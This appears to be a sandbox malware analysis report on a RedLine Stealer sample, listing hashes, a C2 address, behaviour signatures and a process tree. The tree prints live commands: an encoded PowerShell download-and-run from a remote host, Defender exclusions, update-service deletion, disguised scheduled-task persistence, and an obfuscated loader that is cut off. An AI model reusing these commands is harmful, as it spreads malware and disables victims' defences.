Analysis
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max time kernel
196s -
max time network
218s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20221111-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/5072-167-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 1844 created 2752 1844 SmartDefRun.exe 44 PID 1844 created 2752 1844 SmartDefRun.exe 44 PID 1844 created 2752 1844 SmartDefRun.exe 44 PID 1844 created 2752 1844 SmartDefRun.exe 44 -
Blocklisted process makes network request 1 IoCs
flow pid Process 31 1060 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2320 C4Loader.exe 2852 new2.exe 1132 SysApp.exe 1844 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 5044 set thread context of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 2852 set thread context of 5072 2852 new2.exe 89 PID 1844 set thread context of 3684 1844 SmartDefRun.exe 120 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2240 sc.exe 2592 sc.exe 4248 sc.exe 5028 sc.exe 3468 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4632 5044 WerFault.exe 77 2200 2852 WerFault.exe 87 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2104 schtasks.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 1060 powershell.exe 1060 powershell.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1132 SysApp.exe 1844 SmartDefRun.exe 1844 SmartDefRun.exe 4780 powershell.exe 4780 powershell.exe 1844 SmartDefRun.exe 1844 SmartDefRun.exe 1844 SmartDefRun.exe 1844 SmartDefRun.exe 5072 vbc.exe 5020 powershell.exe 5020 powershell.exe 1844 SmartDefRun.exe 1844 SmartDefRun.exe 4504 powershell.EXE 2732 powershell.EXE 4504 powershell.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1060 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeDebugPrivilege 5072 vbc.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeIncreaseQuotaPrivilege 5020 powershell.exe Token: SeSecurityPrivilege 5020 powershell.exe Token: SeTakeOwnershipPrivilege 5020 powershell.exe Token: SeLoadDriverPrivilege 5020 powershell.exe Token: SeSystemProfilePrivilege 5020 powershell.exe Token: SeSystemtimePrivilege 5020 powershell.exe Token: SeProfSingleProcessPrivilege 5020 powershell.exe Token: SeIncBasePriorityPrivilege 5020 powershell.exe Token: SeCreatePagefilePrivilege 5020 powershell.exe Token: SeBackupPrivilege 5020 powershell.exe Token: SeRestorePrivilege 5020 powershell.exe Token: SeShutdownPrivilege 5020 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeSystemEnvironmentPrivilege 5020 powershell.exe Token: SeRemoteShutdownPrivilege 5020 powershell.exe Token: SeUndockPrivilege 5020 powershell.exe Token: SeManageVolumePrivilege 5020 powershell.exe Token: 33 5020 powershell.exe Token: 34 5020 powershell.exe Token: 35 5020 powershell.exe Token: 36 5020 powershell.exe Token: SeIncreaseQuotaPrivilege 5020 powershell.exe Token: SeSecurityPrivilege 5020 powershell.exe Token: SeTakeOwnershipPrivilege 5020 powershell.exe Token: SeLoadDriverPrivilege 5020 powershell.exe Token: SeSystemProfilePrivilege 5020 powershell.exe Token: SeSystemtimePrivilege 5020 powershell.exe Token: SeProfSingleProcessPrivilege 5020 powershell.exe Token: SeIncBasePriorityPrivilege 5020 powershell.exe Token: SeCreatePagefilePrivilege 5020 powershell.exe Token: SeBackupPrivilege 5020 powershell.exe Token: SeRestorePrivilege 5020 powershell.exe Token: SeShutdownPrivilege 5020 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeSystemEnvironmentPrivilege 5020 powershell.exe Token: SeRemoteShutdownPrivilege 5020 powershell.exe Token: SeUndockPrivilege 5020 powershell.exe Token: SeManageVolumePrivilege 5020 powershell.exe Token: 33 5020 powershell.exe Token: 34 5020 powershell.exe Token: 35 5020 powershell.exe Token: 36 5020 powershell.exe Token: SeIncreaseQuotaPrivilege 5020 powershell.exe Token: SeSecurityPrivilege 5020 powershell.exe Token: SeTakeOwnershipPrivilege 5020 powershell.exe Token: SeLoadDriverPrivilege 5020 powershell.exe Token: SeSystemProfilePrivilege 5020 powershell.exe Token: SeSystemtimePrivilege 5020 powershell.exe Token: SeProfSingleProcessPrivilege 5020 powershell.exe Token: SeIncBasePriorityPrivilege 5020 powershell.exe Token: SeCreatePagefilePrivilege 5020 powershell.exe Token: SeBackupPrivilege 5020 powershell.exe Token: SeRestorePrivilege 5020 powershell.exe Token: SeShutdownPrivilege 5020 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeSystemEnvironmentPrivilege 5020 powershell.exe Token: SeRemoteShutdownPrivilege 5020 powershell.exe Token: SeUndockPrivilege 5020 powershell.exe Token: SeManageVolumePrivilege 5020 powershell.exe Token: 33 5020 powershell.exe -
Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 5044 wrote to memory of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 5044 wrote to memory of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 5044 wrote to memory of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 5044 wrote to memory of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 5044 wrote to memory of 1688 5044 77d29818be0d01c38545baa0bd4551c6853c224b.exe 80 PID 1688 wrote to memory of 1060 1688 vbc.exe 85 PID 1688 wrote to memory of 1060 1688 vbc.exe 85 PID 1688 wrote to memory of 1060 1688 vbc.exe 85 PID 1060 wrote to memory of 2320 1060 powershell.exe 86 PID 1060 wrote to memory of 2320 1060 powershell.exe 86 PID 1060 wrote to memory of 2320 1060 powershell.exe 86 PID 1060 wrote to memory of 2852 1060 powershell.exe 87 PID 1060 wrote to memory of 2852 1060 powershell.exe 87 PID 1060 wrote to memory of 2852 1060 powershell.exe 87 PID 2852 wrote to memory of 5072 2852 new2.exe 89 PID 2852 wrote to memory of 5072 2852 new2.exe 89 PID 2852 wrote to memory of 5072 2852 new2.exe 89 PID 2852 wrote to memory of 5072 2852 new2.exe 89 PID 2852 wrote to memory of 5072 2852 new2.exe 89 PID 1060 wrote to memory of 1132 1060 powershell.exe 92 PID 1060 wrote to memory of 1132 1060 powershell.exe 92 PID 1060 wrote to memory of 1132 1060 powershell.exe 92 PID 1060 wrote to memory of 1844 1060 powershell.exe 93 PID 1060 wrote to memory of 1844 1060 powershell.exe 93 PID 1132 wrote to memory of 2104 1132 SysApp.exe 103 PID 1132 wrote to memory of 2104 1132 SysApp.exe 103 PID 1132 wrote to memory of 2104 1132 SysApp.exe 103 PID 1944 wrote to memory of 3468 1944 cmd.exe 110 PID 1944 wrote to memory of 3468 1944 cmd.exe 110 PID 1944 wrote to memory of 2240 1944 cmd.exe 111 PID 1944 wrote to memory of 2240 1944 cmd.exe 111 PID 1944 wrote to memory of 2592 1944 cmd.exe 112 PID 1944 wrote to memory of 2592 1944 cmd.exe 112 PID 1944 wrote to memory of 4248 1944 cmd.exe 113 PID 1944 wrote to memory of 4248 1944 cmd.exe 113 PID 1944 wrote to memory of 5028 1944 cmd.exe 114 PID 1944 wrote to memory of 5028 1944 cmd.exe 114 PID 1944 wrote to memory of 772 1944 cmd.exe 115 PID 1944 wrote to memory of 772 1944 cmd.exe 115 PID 1944 wrote to memory of 3004 1944 cmd.exe 116 PID 1944 wrote to memory of 3004 1944 cmd.exe 116 PID 1944 wrote to memory of 856 1944 cmd.exe 117 PID 1944 wrote to memory of 856 1944 cmd.exe 117 PID 1944 wrote to memory of 2312 1944 cmd.exe 118 PID 1944 wrote to memory of 2312 1944 cmd.exe 118 PID 1944 wrote to memory of 1052 1944 cmd.exe 119 PID 1944 wrote to memory of 1052 1944 cmd.exe 119 PID 1844 wrote to memory of 3684 1844 SmartDefRun.exe 120
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2752
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2320
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5072
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 1406⤵
- Program crash
PID:2200
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:2104
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1844
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 1483⤵
- Program crash
PID:4632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3468
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2240
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2592
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4248
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:5028
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:772
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3004
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2312
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3684
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5044 -ip 50441⤵PID:1556
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2852 -ip 28521⤵PID:1176
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:uFWAwwbiwuOk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tbNElsqyjlPxdB,[Parameter(Position=1)][Type]$DcIeWyOXSi)$pHwQosmptxZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+'o'+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+'e'+[Char](100)+','+[Char](65)+''+'n'+''+[Char](115)+'i'+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',